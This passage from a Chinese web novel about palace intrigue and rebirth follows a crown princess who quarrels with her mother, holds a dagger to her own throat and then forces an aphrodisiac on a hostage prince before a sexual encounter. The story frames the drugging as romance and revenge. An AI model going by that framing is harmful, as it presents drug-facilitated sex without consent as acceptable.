许长宁冷笑一声:“儿臣不需要谢家的支持,谢筠、谢望松……从谢家出来的,都不是什么好东西。”
李令舒自小便被寄养在谢家,许长宁看着她说这一句话,其意何其直白?
“你!”李令舒上前一步,猛地抬起了手,要朝许长宁的脸打去。
然而许长宁却攥住了她的手腕,另一边手又一次抽出薛竹铃腰间的匕首,硬塞入李令舒的手中,逼她将匕首抵在自己的脖子上。
“母后生气了?打我怎够泄愤?”许长宁眼中一时闪烁着疯狂,她笑着提高了声量,“往这里割啊!你不是觉得当年该死之人是我吗?”
笑着笑着,许长宁眼中泛起一层薄泪,烧得她的眼睛好痛。
“看看我死了,阿兄能不能活过来!”
李令舒的神色变了又变,从震惊,到恐惧,再到愤怒,气得眼眶也红了。
她使劲想抽出手,却被许长宁攥得死死的,眼看着许长宁的脖子被刀刃划出了一条血痕,她急得破口大骂:“混账!你疯了吗?!”
一旁的薛竹铃也吓傻了,忙拽着许长宁的袖子,急声劝她放下刀,劝着劝着就哭得说不出话了。
许长宁听见薛竹铃哭,那股狠劲才泄了下去,手松开的瞬间,李令舒立即将匕首扔出很远。
她双眼通红,呼吸急促,方才挣扎间,头发乱了几分,此时看上去,再无半分皇后的端庄。
“许长宁,你给我听好了!”李令舒指着许长宁的手都在发抖,“你的命,已经不是你自己的了!你想找死,我不允许,你父皇不允许,你阿兄也不允许!”
“你必须成婚,一个女人独自坐那把龙椅,绝无可能!若你不成婚,莫说皇位,你这储君之位也别要了!待右相一派动手,你恐怕连公主之名都保不住,还不如我亲手废了你更痛快!”
一通斥骂过后,李令舒转身便走,脚步快得似在逃离。
许长宁望着李令舒离开的背影,强撑起来的气势也顿时崩塌,泪如雨下。
最亲之人,却伤她最深,那分明是她最想依赖的阿娘啊……
“殿下……”薛竹铃缩着脖子,小心翼翼地靠近许长宁,抬手想用帕子为她擦去脖颈上的血,“竹铃给您唤太医来可好?”
“不必。”许长宁很快便平复下来,她抬手先抹掉眼泪,又摸了摸伤口,摸了一手血。
满手的红,让她越发清醒与冷静。
这一世,李令舒还是要与她背道而驰,她便当作没有这个母亲。
她还有力排众议立她为储君的父皇,还有愿意拼了命救下自己的阿兄,他们信她,她便不是孤独一人。
“您不怕娘娘将这些事告诉谢家吗?”薛竹铃担忧道。
“谢家眼里容不得沙子,她知道告诉他们的后果。除非她不想再仰仗谢家,否则她不会的。”
许长宁把沾了血的指尖点在唇上,尝了尝血的腥味,“父皇的药凉了,你拿去热一热。喂完药我们便回宫,今夜还有更重要的事情要做。”
薛竹铃乖巧地颔首,端着药走出去,半途还俯身捡起了掉在地上的匕首。
“殿下还好吗?”卫迟风一直守在门外,即便殿内吵翻了天,许长宁不召他入内,他便不擅闯。
薛竹铃并未回答,只是气鼓鼓地瞪着他。
卫迟风:“?”
“卫迟风,都是你出的馊主意!”薛竹铃将匕首塞到他的手中。
卫迟风一怔:“我?”
“送我什么不好,偏要送我匕首,要我随身携带,却那么锋利。”薛竹铃方才的害怕,此时都化成了怨言,她凶得双眼好似铜铃,“你给我换一把钝的!或者拔不出来那种!”
言罢,她扬长而去,撇下了攥着匕首一脸困惑的卫迟风。
*
江鹤一昨夜被许长宁发现一事,谢筠并不知情,今早仍继续派人送来了药物。
这一次的药更为贵重,江鹤一给苏明烨服用了两次,辅以针灸,苏明烨的病情明显稳定了许多,只是一直未醒。
看夜色渐深,江鹤一穿戴整齐,正要去寻林笙,请他帮忙看着苏明烨,林笙的声音便从门外传来。
“老一老一!好消息!”
林笙的轻功极好,几乎不走院门,都是翻墙出入,悄无声息,一般一日会溜过来三四次,找江鹤一闲聊。
他推开门,满脸欢喜道:“你母后要被处死的消息是假的!今日六奶奶探听到消息,兵部一人在汇报军情时提及燕国皇后,说她如今好得很!燕皇前几日还与她一同去了周家军营,若你母后出事,恐怕燕皇都走不出周家军大营。”
江鹤一闻言一怔:“当真?”
“我奶奶们的消息何时出错过?”林笙笑嘻嘻伸出手,“好消息可不得收些吉利钱?”
多日压在江鹤一心头的巨石,轰然碎成粉末。
他的嘴角抽了抽,生疏地扯出一个笑来。
太好了……
他笑着顺势握住林笙的手,半是欢喜,半是心机:“谢谢你,阿笙。”
“哎!别给我装傻。”林笙想要抽出手,却抽不出来,“谁要跟你握手了?”
江鹤一笑得更开心:“先欠着。”
林笙瞪了他一眼,也没有办法,只能掏出账本先记下来。
江鹤一坐到榻边,看向昏迷的苏明烨,想了想,还是低声说了句:“听见了吗?母后她没事。”
苏明烨并无反应,江鹤一的欢喜也淡了几分。
他垂下眼,又一次为苏明烨把脉,陷入了沉思。
母后无碍,那他听到的消息是怎么回事?
在这昭国,除了他,根本无人在意一个受到燕皇冷落的皇后,若有人故意散播周徽音的谣言,极有可能是奔着他来的。
意图利用这个假消息,引他心急吗?
他着急了,谁会有好处?
江鹤一几乎马上想到了谢筠,看来此人,早就盯上了他。
与谢筠合作,并非全无好处,然而棘手的是,许长宁竟然发现了,如今他夹在两人之间,走错一步都是死局。
万幸,许长宁似是个风流成性的,竟会对他这样的人产生兴趣,为此三番两次放过他,即便他无法答应她今夜的要求,只要他将她伺候好了,或许也能过关。
若再大胆一些,他甚至可以一开始便堵住许长宁的嘴。
躲得过一日,便是一日。
在昭国十几年,他都是如此过来的。
“老一,你……真的要去牺牲色相?”林笙的话音里多少有些担心,“叔若是知晓了,定会又气得吐血的。”
“做戏罢了,表面功夫做足即可。她也许只是言语上玩弄我,并非真的有意与我行男女之事。”江鹤一为苏明烨掖好被褥,拿起桌上的一条挂链,戴在脖子上,“便当作是在……挨打吧……”
“可昨夜的迷药不是不管用吗?”林笙咬着笔头问道。
“谁说我只会制一种迷药了?”江鹤一挑眉道。
*
江鹤一来到东宫后方,发现此处如昨夜一般,刻意撤走了巡查的卫士。
他攥紧脖子上的镂空坠子,推开后门进入了东宫,来到了寝殿后窗前。
他敲了敲窗,里面随即传出回应。
“进来吧。”许长宁的声音有些慵懒。
江鹤一熟练地爬窗进去,在床榻前的屏风处跪下行礼问安。
屏风隐约透出对面许长宁的模样,江鹤一只是匆匆一
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瞥,心头却泛起了一丝紧张。
她穿得甚是轻薄,长发披散,完全是一副要就寝的模样。
她是认真的……
怎会是认真的……
许长宁当真想与他行房事吗?他一个卑贱的质子,浑身都是伤疤,从小到大受尽羞辱,不干不净,她堂堂昭国储君,图什么?
不会真的图这副皮囊吧?
“江郎君隔着屏风,要如何哄我开心?”许长宁以最舒适的姿势,侧身靠着床头的垫子,用手撑着头,看着屏风外的江鹤一,轻声道,“过来。”
江鹤一默默紧了紧牙关,起身绕过屏风,在许长宁榻前跪坐下来,眉目低垂,甚是乖顺。
“今日倒是多穿了几件衣裳。”许长宁微笑道,“脱起来岂不麻烦?”
“殿下若不喜,小人这便脱。”江鹤一随即开始解腰带。
“不急。”许长宁坐了起来,俯身向前,顿时与江鹤一靠得很近,“江鹤一,我再给你一次坦白的机会,昨夜,你为何而来?”
那股淡香再度扑面而来,加之许长宁带有笑意的面容映入眼帘,江鹤一一时晃了神。
为何,总会有一种熟悉感?为何,他总是在闻到这阵淡香后,会下意识地卸下防备?
明明她还是在怀疑他,他的处境甚是糟糕……
江鹤一藏于袖中的手狠狠掐了一把自己的腿,低下头,避开许长宁的目光,脑中反复思索着答案。
许长宁见他如此,便给足了他思考的时间,开始打量眼前人。
太瘦了……
前世她与谢筠成婚之日,江鹤一的身形与谢筠是相差无几的,想来应当是谢筠提前让他吃饱喝足了,而眼下两人合作不过两日,江鹤一还没有这个待遇。
看来除了为他备药,还得多备些肉食,再让卫迟风好好带他练练身子。
对了,他的腿……
定是从前伤到了骨头,未能好好医治,才会导致跛脚。
这比调理身子要难许多……
“殿下……”江鹤一和润的声音,将许长宁飘远的思绪拉了回来。
她看到江鹤一眼神坚定,似是想通了,嘴角不禁微微上扬。
“殿下为何不信小人的真心?”
什么?
许长宁一怔,尚未来得及生气,江鹤一忽然起身,整个人朝她压来,一手托住她的后颈,倾身将她压倒在榻上。
“你——”
许长宁方才说出一个字,江鹤一竟不管不顾地吻上了她的唇,将她的话堵了回去。
与前两次全然不同,这一次,江鹤一竟主动闯入了她的地盘,侵略性极强,似是要将她折服。
许长宁带着一股怒意,扣住他的后背开始反攻,唇舌交战,两人的手也愈发用力,紧紧将彼此扣在怀中,交换着体温与气息,一同起伏着。
许长宁恍惚间,仿佛回到了前世的最后一刻。
这种炙热与不顾一切,令她泛起泪意。
咬着江鹤一的唇,抚着他的背脊,沉浸在他的气息中,她明白了这股泪意为何而生。
原来,她想他了……
她想与他相拥而眠,想与他在黑暗中面对面,毫无顾忌地谈天说地,她想听他唤“阿宁”……
她思念的……前世的江鹤一……
眼泪渗出来的瞬间,许长宁睁开眼,猛地推倒江鹤一,将他按在榻上,伸手掐住了他的脖子。
“为何……为何还要骗我……”许长宁的眼泪,滴落在江鹤一的脸上。
江鹤一瞳孔一颤,尚未从震惊中反应过来,随即看到许长宁扯下了他戴在脖子上的坠子,扔到一旁。
他所制的新迷药,便装在坠子里。
“孤已给过你机会,你竟还将孤当做傻子?如此护着谢筠,是觉得孤斗不过他吗?”许长宁的话音中充斥着愤怒,掐住江鹤一的手也在一点点收紧。
在谢筠二字被提及时,江鹤一便已明了一切。
事已至此,他再掩饰也无用,望着许长宁的眼神中,添了几分厌恶:“既然你早已知晓,又何必与我虚与委蛇,真是恶心。你说得不错,我就是觉得你不如谢筠,斗不过偌大的谢家,无论如何,我也绝不会为了你与谢筠为敌,那无异于寻死。”
许长宁被江鹤一的话所刺痛,手顿时松了一瞬。
江鹤一终于不用再伪装,一时痛快不已,反正已经是死路一条,便愈发无所畏惧,口无遮拦,想用言语击垮许长宁。
“我猜皇太女殿下是不想与谢筠成婚,受人所制,要借我摆脱这件婚事吧?可是依我看,你绝对躲不掉这门婚事!这昭国满朝文武,绝不会放过你!国律岂是你凭一己之力可以颠覆的?简直痴心妄想,不自量力!”
“你绝不会得偿所愿!”
江鹤一咬牙切齿,脸色已涨红,望着上方许长宁的眼神中,透着一丝疯狂。
他太想赢一次了,不管对方是谁,他都想狠狠地赢一次,不再做那个被践踏的人。
“好啊……”许长宁的声音有些颤抖,“你便好好看看,孤会不会得偿所愿。”
江鹤一正要继续出言攻击,却忽然被许长宁掐住嘴,灌下一小瓶药水。
他猝不及防,已然将药水咽了下去,猛地侧身一阵呛咳。
“你想做什么?”他顿时便觉得浑身开始燥热,好似醉酒一般,神志迅速变得越来越模糊,连质问的声音都变弱了。
他挣扎着想要逃离,却被许长宁再度按倒在榻上。
许长宁掐住了他的脸,强行逼他看着自己,寒声道:“只准你用迷香,不准孤下药吗?”
江鹤一的脸上,终于浮现出一丝慌张。
他的身体反应告诉他,许长宁给他灌的,是迷情散。
9. 迷情
屋外飘起了雪,林笙本想看看雪景,但他坐在窗前,觉得越来越冷,只能关上了窗。
他给榻上的苏明烨多盖了几件衣裳,看着这破旧的屋子,轻轻叹了一口气。
老一这日子,过得确实挺惨的。
这破屋子好像叫什么“静思院”,但院中无亭无榭,只有两间摇摇欲坠的破房子,夏日漏雨,冬日漏风,所谓静思,不过是被软禁的托词罢了。
江鹤一八岁来昭国为质,唯一的职责,便是要过得够惨,如此才能让皇宫中的人看着解气,因为他燕国的人在十二年前,可是把昭国的皇子公主们都杀光了,只剩下一个许长宁。
林笙很多年前就看出来了,燕国人根本不在意他们这个嫡长皇子,连半封信都没有来过,唯有每年新岁,派人给江鹤一送来一份燕国特有的糕点。
他觉得那与施舍无异,但江鹤一将每年的那份糕点视为希望,他也就没有说过什么。
因为燕国人的不在乎,江鹤一失去了唯一一个可以活得像人的筹码,在这昭国皇宫中,成为了人人可欺的蝼蚁。
据他所知,江鹤一身上那些纵横交错的伤疤,都是被太监和侍卫打的,没有什么特别的原因,他们纯粹是想找个人出气。
不过江鹤一这小子,从小就机灵,还有超人的忍耐力。
林笙初遇江鹤一时,便对此深有体会。
他与收留他的六局奶奶们一起住在寿昌院,恰好在这破静思院附近。他九岁那年,有一日从一个总是欺负他的太监手中偷了些东西,结果被人发现了,他误打误撞逃进了这静思院,一进门便见到了江鹤一。
狼狈,是他对江鹤一的第一印象。
鼻青脸肿,似是被人暴打了一顿,一条腿被厚厚的白布包扎着,有血渗出来,染红了白布。
林笙来不及解释,也顾不上查探江鹤一身份,闯入屋内,钻进了床底。
追兵的声音很快传来,他躲在床底下往外偷看,紧张得额头冒汗,生怕江鹤一把自己卖了。
但他看到江鹤一思索片刻,竟坐下来拆了腿上的包扎,露出一条血肉模糊的腿,吓得林笙不敢多看。
那几个追林笙的太监闯入静思院,本要搜查,江鹤一却猛地扑到他们身上,抱着他们的腿,说什么自己的腿好痛,感觉要断了,求他们救救他,哭得十分凄惨。
他的血蹭了那些太监一身,几个太监甚是不耐烦,又嫌江鹤一脏,环视屋内几眼,没有仔细搜查,一脚踹开江鹤一便离开了。
林笙得救了,松了一口气,爬出床底,谢字尚未说出口,便见江鹤一面无表情地朝他伸手:“肉包子,给我。”
林笙一怔:“你怎么知道我有肉包子?”
江鹤一:“你进屋我便闻到了,不然救你做什么?”
林笙为了报答救命之恩,忍痛割爱,背囊里的五个肉包子,给江鹤一分了两个。
江鹤一掰出半个,留在桌上,开始大口吃。
林笙坐在一旁,盯着江鹤一血淋淋的腿,再看其表情——没有半分痛苦,甚至有几分喜色。
换作是他,他高低得哭嚎得半个皇宫都能听见。
“不疼吗?”林笙好奇道。
“疼。”江鹤一一口气把最后半个包子塞进嘴里,“但更饿。”
“要不,我再给你把布缠上?”
“不必,待会有人会为我重新包扎。”江鹤一看向桌上的半个包子,咽了口口水,但始终没有吃,“下次你还可以躲来这里。”
林笙那时还以为江鹤一是因为够义气才说那句话,后来很快发现,江鹤一就是盯上了他的包子。
两人年纪相近,江鹤一只比他大两个月,彼此也没有什么身份差距,林笙在宫里是无人在意的小太监,江鹤一是卑微如泥的质子,一来二往,两人便成了朋友。
林笙虽然也恨燕国人,但他知道,江鹤一只是一个被推出来代为受罪的无辜孩童罢了。
他是打心底里觉得江鹤一真惨,这日子,一点盼头都没有。
“不过叔,幸好老一长得还行,看上去楚楚可怜的,若是殿下真瞧上他了,能当个面首,日子也能好过许多。”林笙一个人待着无聊,便开始对着昏迷的苏明烨絮絮叨叨。
他翻开那本小册子,喜滋滋道,“等老一得到殿下青睐,你们俩欠我的债可得赶紧还啊,奶奶们年纪大了,日后要花钱的地方越来越多了,我答应过要让她们每天都吃香的喝辣的。”
一阵沉默过后,林笙忽然想起什么,转身看向榻上的苏明烨。
“唔……看在叔总是为奶奶们治病的份上,叔的那份可以慢慢还,但老一的可不能再拖了。”
话音刚落,他忽然发现苏明烨的手指动了动,他忙坐到榻边,轻轻摇了摇苏明烨:“叔?能听见我说话吗?”
苏明烨蹙了蹙眉,微微侧过头,似是做了噩梦。
偷跑进来的寒风卷起他的一丝碎发,落在了他的眼睛上。
林笙帮他拨开那一小撮头发,顿时为苏明烨感到有些心酸。
明明才过不惑之年,苏明烨的头发却已将近半白。
当初燕皇派了一队人马陪江鹤一一同来昭国,怎知路上遭遇意外,就活下来一个苏明烨。
这十几年,林笙是看着苏明烨背地里如何照顾江鹤一的,但也不知道他到底在闹什么别扭,自己做过的好事是一件不提,整天对江鹤一臭着一张脸。
虽然江鹤一老说苏明烨是个窝囊废,只会求饶,但若没有苏明烨教的那些五花八门的求饶之法,江鹤一定要挨更多打,而且苏明烨的医术其实堪比宫中太医,也悉数教给了江鹤一。
他把江鹤一照顾得挺好的。
“小子……”苏明烨呢喃着微微睁开了眼。
“叔,我是阿笙。”林笙笑着在他眼前晃了晃手,“您要喝口水吗?”
苏明烨看清楚眼前人,又蹙了蹙眉头:“阿笙啊……那小子……又去何处了?”
“他……”林笙感到心虚,借着倒水掩饰神情,“他去给叔讨药了。”
苏明烨轻咳几声,又问:“去向谁讨?”
林笙下意识挠挠头,答道:“太医啊。”
苏明烨也认识林笙十几年了,知晓他一撒谎就会挠头的习惯,神情顿时严肃起来:“撒谎,江鹤一到底去了何处?难道又去给皇帝……”
苏明烨说到一半,意识到不对,便慌得说不下去了,挣扎着要起身,“这个臭小子……不要命了……”
“哎哎!叔您不能起来!”林笙连忙阻止,却被苏明烨揪住了耳朵。
苏明烨急得涨红了脸:“快……快去把他找回来……”
“叔您别激动!”林笙怕苏明烨太过心急导致发病,耳朵又被揪得有些疼,只好实话实说,“老一没有去做傻事!他是有计划的!”
“他能有什么计划?”苏明烨不相信。
林笙歪着身子道:“他……他要去迷倒我们皇太女殿下,当她的面首!”
“什么?”苏明烨一怔,林笙趁机逃脱,摸着耳朵,如实对苏明烨说明了情况,从御书房那日到眼下发生的一切。
“老一调制药物就没有失手过,您放心,他就去做做表面功夫,肯定很快就完好无损地回来了。”林笙打包票道。
他本以为苏明烨听了会安心,怎知苏明烨竟急得直接跌下了床榻,一副爬也要爬去找江鹤一的模样,吓得林笙赶紧去扶他。
苏明烨急红了眼,挣扎着要站起来:“这个傻子!太医常年给你们殿下吸用防嚏之药,那药物有迷香成分,使用次数多了,她恐怕不会受迷药所惑啊!”
“啊?”林笙深感不妙,“那老一岂不是……要真的献身了?”
*
东宫寝殿,江鹤一被许长宁压在身下,浑身烧得难受。
一股难以抑制的冲动,渐渐蔓延他的全身。
他几度尝试推开许长宁逃离,却因为药物而头昏眼花,力气一时竟不如许长宁,始终被她囚在身下。
他发现许长宁那被他咬过的唇越发鲜红,她身上的那股淡香,犹如丝丝密线,要在他四周笼罩成茧,叫他根本无法逃离。
“别碰我……”
江鹤一死死扯住自己的衣裳,他后悔了……
没想到,昭国储君竟是个疯的……
许长宁笑了一声,指尖一如御书房见面那次,轻抚过他五官的轮廓,引起他一阵酥麻。
“晚了,是你来招惹我的。”
许长宁压下来,要去吻他,江鹤一却没有再挣扎,那股淡香仿佛勾走了他的魂,似乎只要他再靠近一些,体内灼烧的火便能得到甘霖。
该死的迷情散……
江鹤一情难自禁,竟直接伸手,顺势将许长宁扣下来,两人唇齿碰撞,又掀起了一场交战。
许长宁从起初的轻柔,渐渐到索取,如水一般,缠绕着江鹤一。
江鹤一只觉自己溺在温热的水中,似是难受,又似是享受,许长宁亲吻过、抚摸过的那些地方,竟让他羞耻地感受到渴求……他还想要更多,还想更深入……
然而,门外却忽然响起敲门声。
“阿姐!你睡了吗?”
一道许长宁熟悉的声音,打破了殿内的旖旎气氛。
“阿姐?我是崔皓呀!我能进去吗?”
许长宁猛地直起身子,看向殿门方向。
阿皓?怎么这个时间过来了?
“阿皓等一下!”许长宁急声道。
阿皓方才年满十六,可不能让他瞧见这些。
她连忙捡起方才脱掉的外衫,又多披了一件外袍,将自己裹得严实,却尚未来得及挽发穿鞋袜,殿门就被人推开了。
崔皓看见长发披散,光着脚站在面前的许长宁,顿时便傻了眼。
他还是第一次见到许长宁这副……衣衫不整的样子……
门口的卫迟风看见后,马上转身避开,薛竹铃急匆匆追着进来,对许长宁满脸歉意:“殿下……崔公子他急着要来见您……”
“无碍。”许长宁拢紧外袍,笑问崔皓,“阿皓路上可有受凉?”
崔皓笑着冲上前抱住许长宁,他的身量已经几乎与许长宁一样高,许长宁一时被他抱得向后趔趄半步,险些没站稳。
“阿姐!我好想你!”
崔皓是她恩人的遗孤,是她看着长大的孩子,如同亲弟弟一般的存在。
前世,崔皓陪她走到了最后,为了让她争取一线生机,他带着百来残兵去引开追兵,只可惜,最后谢筠还是追上了她,崔皓的下场可想而知。
这一世,许长宁发誓要保护好他,便让卫迟风将他接入宫来。
只是这入宫的时间,还真是刚刚好啊……
“阿姐也很想念你,我们阿皓又长高了不少。”许长宁虽然是由衷地感到欢喜,但笑容却有些勉强,一时还难以从方才的状态转换过来。
崔皓撒娇一般将许长宁抱得更紧,他的目光,借机瞥向了榻边的屏风。
那笑意盈盈的眼神,忽地沉了一瞬。
他隐约看到,榻上还有一道身影。
崔皓松开许长宁,问道:“阿姐,我听闻你要与谢家长子成亲了,这是真的吗?”
许长宁笑着反问:“阿皓可支持这门婚事?”
“我不知道……阿姐可喜欢那谢公子?”崔皓又问。
许长宁想了想,抬手摸摸他的头,笑道:“我更喜欢阿皓。”
崔皓被摸了头,脸上再度泛起笑意。
“可若阿姐不与谢公子成婚,是否会有危险?”
许长宁耸耸肩:“只有我一人在朝堂上做靶子,好的坏的都只能冲我来了。”
对了……
许长宁忽然心生一念。
若只有她一人作为靶子,必会寸步难行,那为何她不找别人做这个靶子呢?
身后床榻方向忽然传来一声轻微的吱呀声,似是榻上之人翻身时木板发出的声音,这让许长宁顿时回过神来。
“好了,阿姐已为你备好房间,快去休息吧,阿姐也要歇息了。”许长宁一边说着,一边将崔皓轻轻推出寝殿,在他
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说出下一句话之前,把门关上了。
随着屋内照在崔皓脸上的光被阻隔,崔皓的神色也沉了下去。
他对着紧闭的殿门沉默片刻,随即转身,笑盈盈地低声问薛竹铃:“薛姐姐,殿内之人并非谢公子,那是何人?”
殿内的许长宁自是没有听见这句话,她快步走回榻边,本以为江鹤一会借机逃跑,却不料榻上之人仍在,只是背对着她蜷缩成了一团,似是在等她回来。
颇有几分可怜的模样。
“如此好的机会,怎么不逃?”
许长宁伸手想撩起他遮住面容的头发,却被他忽地攥住手猛然一拽,整个人躺倒在榻上,江鹤一翻身将她压在了身下。
待许长宁看清楚眼前人的模样时,不禁有些意外。
江鹤一整个人可谓是滚烫,脸色潮红,呼吸粗重急促,与方才意欲逃跑的模样截然不同。
仿佛猎物化身为猎人,带有几分危险的气息。
竹铃这小丫头寻来的迷情散,还挺厉害啊……
“我若逃了,你会放过我吗?”江鹤一的声音也变得粗哑,气势犹如宣战。
许长宁轻笑一声,捻起他的一撮头发,缠绕在指尖:“不会。”
她方才想到了一个破局的好法子,怕是今后都不会放过江鹤一了。
谁让他来招惹她?
江鹤一俯视着她那带有几分轻佻的眼神,撑在她身侧的手紧紧攥成了拳。
他的气息粗重得仿若漫天阴云,几乎要从上方塌下来。
“怎么?想对孤动——”
许长宁的话尚未说完,江鹤一的吻便落了下来。
他如同极其饥渴的旅人,要从她身上汲取甘露,那股隐隐的狠劲,颇有要将她榨干的意图。
吻到解了这迷情散,吻到这皇太女心满意足……
吻到她觉得腻了自己,再也不纠缠……
江鹤一是如此打算的,可局面却渐渐偏离了他的打算。
意识再回拢一些时,许长宁已将他压在身下。
他身上的衣裳,在不知不觉中被尽数脱掉。
江鹤一的双眼变得猩红,他不甘示弱一般,开始撕扯许长宁的衣裳。
既然他无法阻止这场羞辱,那他便要拖许长宁一起入泥潭。
他不要再卑躬屈膝,不要再摇尾乞怜。
他万般卑贱,也许唯有在这一夜,他可以赢她,赢了这昭国眼下最尊贵之人。
他也要羞辱她,他也要她痛苦。
嘶啦一声,许长宁的衣裳被撕裂了。
方才还被压着逃不动的人,此时竟撕坏了她的衣裳。
江鹤一紧紧揽住她的腰,再度翻身将她压在身下,动作变得愈发粗暴,脖颈青筋暴起,似是要将她揉碎在怀里。
虽然生疏笨拙,但身体的本能反应,让他不曾停顿片刻。
当他听见许长宁的低吟与轻呼时,他觉得他赢了。
许长宁着实被弄疼了,她也不服,开始往死里咬江鹤一,十指深深嵌入他后背的那些伤疤之中,要与他两败俱伤。
除了咬他,江鹤一发现许长宁还在寻机驯服他。
她的每一次故意的触碰与抚摸,都让他难以抗拒。
吻他的耳垂,轻抚他后背的疤痕,像安抚小动物那般,一遍遍从上至下,抚过他的背脊……
好奇怪,他的身体似乎拥有记忆,因这些动作,他不受控制地放轻了力道,仿佛害怕弄疼她一般……
渐渐地,他失去了对局势的掌控,犹如许长宁的掌中之物,任由她玩弄拿捏。
他只能顺从,只能臣服,在她的引领下,以她喜爱的方式,去探寻她的领域。
而且不知为何,他隐隐觉得,这一切有些熟悉。
他在她引领之前,似乎便已知晓该往何处走。
迷情散……会有这等功效吗……
“云止……”
“还疼吗……”
沉浮之间,江鹤一用最后一丝神智,将许长宁的话听进了心里。
她在……唤谁……
夜里克制的轻吟,如同又一剂迷情散,令江鹤一意识愈发迷离。
他已分不清现实与虚幻,分不清天地为何物。
如庄周梦蝶,清醒与沉沦间,他已不是自己。
耳边温柔的低语,令他仿佛置身另一个世界,变成了另一个人。
一个,不是将今夜视为羞辱与耻辱之人。
“听话……唤我,阿宁……”
*
江鹤一的前世日志·七
与她的第二年……与她的第一次……
往日通常会在最后一步前停下,她会装作受迷药影响昏睡过去,但如今我们之间,除了我的真实身份,已然挑明了一切。今夜,她没有停下,我也……没有停下……
我很怕弄疼她,她也有些紧张,但过去一年多共处的夜晚,我们对彼此的熟悉,皆化作了那一刻的勇气。
那种感觉,甚是复杂,但我知晓,自己是欢喜的……
她如同抚摸当初那只小猫那般,一遍遍轻抚我的后背,我那些狰狞的伤疤,很舒服,一点都不会痒……她问及我的姓名,我只能将那无人知晓的字告诉她,她说“云止”二字甚是好听,还让我莫再唤她陛下,而是唤她的名字,唤她阿宁……
她的身边从无人如此唤她,我心中欢喜更甚,以至于清楚地意识到一事——我心悦她,仰慕她,我想一直与她在一起……
我从未想过,我竟会心悦一个昭国人,且她对我而言,还是这般高不可攀。我这等卑贱的身份早已注定,这份心意必将永远埋藏……
她应是太累了,我离开之时,她仍在熟睡。回到住处后,我换下衣裳,发现身上似乎染了她的淡香。这股香气,总让我觉得舒服与放松,我在桌前坐了许久,一遍遍闻着衣裳上的淡香,试图制出相似气味的香料,可直至天明,我都没有成功。也许世间万物,这种香气唯她独有吧……
不知待她醒来,她的被褥中,是否还会留有我的气味?
10.思念
这一夜格外地漫长。
许长宁感觉浑身累得动不了了,但因见了红,她还是需要起身去沐浴。
当她拾起地上皱皱巴巴的衣裳披上时,榻上的人也坐了起来。
他的上半身赤裸,背上多了许多新的红痕,脖颈上也尽是吻痕与咬痕。
“殿下可满意了?”江鹤一的声音有些发虚,迷情散的后劲,令他浑身乏力,“小人可以走了吧?”
许长宁将长发从衣裳里撩出来,回眸冲他一笑:“满意了,便更不能让江郎君离开了。”
她行至江鹤一身前,俯身摸摸他的脸,“今后,你便住在孤这东宫吧。”
江鹤一的神色变得愈发阴沉:“殿下到底要如何才能留小人一条活路?”
许长宁扬眉:“留在东宫便是活路呀,孤看方才你明明挺欢喜的。”
江鹤一神色出现一瞬的闪躲,他随即抓住许长宁的衣袖,软声哀求道:“殿下,小人求您了……只要您放过小人,也别让小人与谢家对抗,小人愿为您做牛做——”
“别演了,江鹤一。”许长宁寒声打断,抽回她的衣袖,“孤不信你了。”
今夜,是最后一次。
她还有很重要的事情要做。
既然他已经不是他了,她也不会再念及旧情。
江鹤一满腔不甘与憋闷,化为一声冷笑。
“昭国人就是恶心。”他仰起头看着许长宁,猜到她多半要留着他的性命对付谢筠,便再也不掩饰自己的厌恶,“你许长宁,最恶心。”
“是吗?”许长宁伸手触碰他肩头的牙痕,垂眼看向他的胸腹,“你身上还有孤的血呢,那你岂不是觉得自己也很恶心?”
江鹤一拨开许长宁的手,目光如冰:“光是被你摸过,我都觉得恶心。”
“那可太好了。”许长宁转身离开,抛下了最后一句话,“孤要去沐浴了,而你,不准洗。”
*
浴房中,轻烟弥漫,许长宁趴在浴池边,一点都不想再动弹。
“殿下,竹铃有些想不通。”薛竹铃用手帕为她轻轻擦洗后背,看着那些交错的红痕,实在没忍住,问道,“您不是还蛮喜欢这个江鹤一的吗?为何要将你们的关系弄得如此差?”
许长宁闭着眼,轻声答道:“那是前世的江鹤一,如今重来一次,许多事皆已发生改变,他会变成什么样,我没有把握。与其猜疑,不如让他将所有的怨恨都摆到明面上。如此,江鹤一在我面前,又重新变回了一张白纸,我才能更好地去利用他。”
薛竹铃听完,却笑了一声。
许长宁勉强睁开一只眼,睨了这丫头一眼:“笑什么?”
“我笑殿下就是个嘴硬的。”薛竹铃一副了如指掌的表情,“若只是利用,您现在为何要在此处沐浴?”
许长宁再度闭上眼,沉默了许久,久到薛竹铃以为她已经睡着了。
“这是,最后一次。”
她的声音很轻,却甚是坚定。
是一次报复,是一次纪念,也是一次告别。
她本一直抱有期待,认为前世的江鹤一还会回来,但这一夜,她清楚地意识到,当她改变了命运轨迹的那一刻,他便永远留在了那个山洞里。
与她共度六年的江鹤一,不会再回来了。
那个他,在她轻抚他背上的伤疤,问他还疼不疼时,会说“陛下摸过,便不疼了”。
如今这个他,却说她最是恶心。
“怎么还哭了?”薛竹铃在浴池前跪坐下来,用帕子为许长宁擦掉脸上的水珠。
“是汗,水太热了。”许长宁没有睁眼。
“这话您骗骗卫迟风还行。”薛竹铃轻轻抱住她,学着往常许长宁的动作,轻拍她的后背,“我可是从两岁起便跟着殿下了,比您肚子里的虫还要了解您。”
薛竹铃不说还好,她一戳穿,一拥抱,许长宁便失控了。
即使闭着眼,她的眼泪也不断地往外涌。
蒸腾的水汽漫过屏风,在木柱上晕出浅淡的湿痕。
水雾凝聚成珠,滴滴滑落。
“竹铃……”
“我唯一爱过的男人,不会再回来了。”
她明明可以看见他,触碰他。
可那不是他。
她再也见不到他了。
听着许长宁声音中掩盖不住的哽咽,薛竹铃对江鹤一的怨气噌噌暴涨:“燕国人就是混账!行同狗彘!殿下以后陪猪玩都不要再理他!”
许长宁被这话惹得哭也不是,笑也不是,最后露出个苦笑。
“我哪有闲工夫去陪猪玩?”许长宁发泄完后,心中最后那抹脆弱彻底被抹除。
她总逼着自己不要沉浸在无用的情绪中,她允许自己哭,但哭过了,便必须迅速恢复。
欢喜、悲伤、愤怒……这些情绪都会影响她的判断。
许长宁迈出浴池,摸着身上有些红肿的痕迹,平静道:“我会将他留在身边。”
“为何?他不配!”薛竹铃还在气头上。
许长宁轻笑道:“谢筠不是想让江鹤一替他行事吗?那就干脆让他替个彻底。”
从今往后,她对江鹤一,仅有利用。
她再也不会让他牵动自己半分情绪。
*
许长宁沐浴完,准备去另一个寝殿歇息。
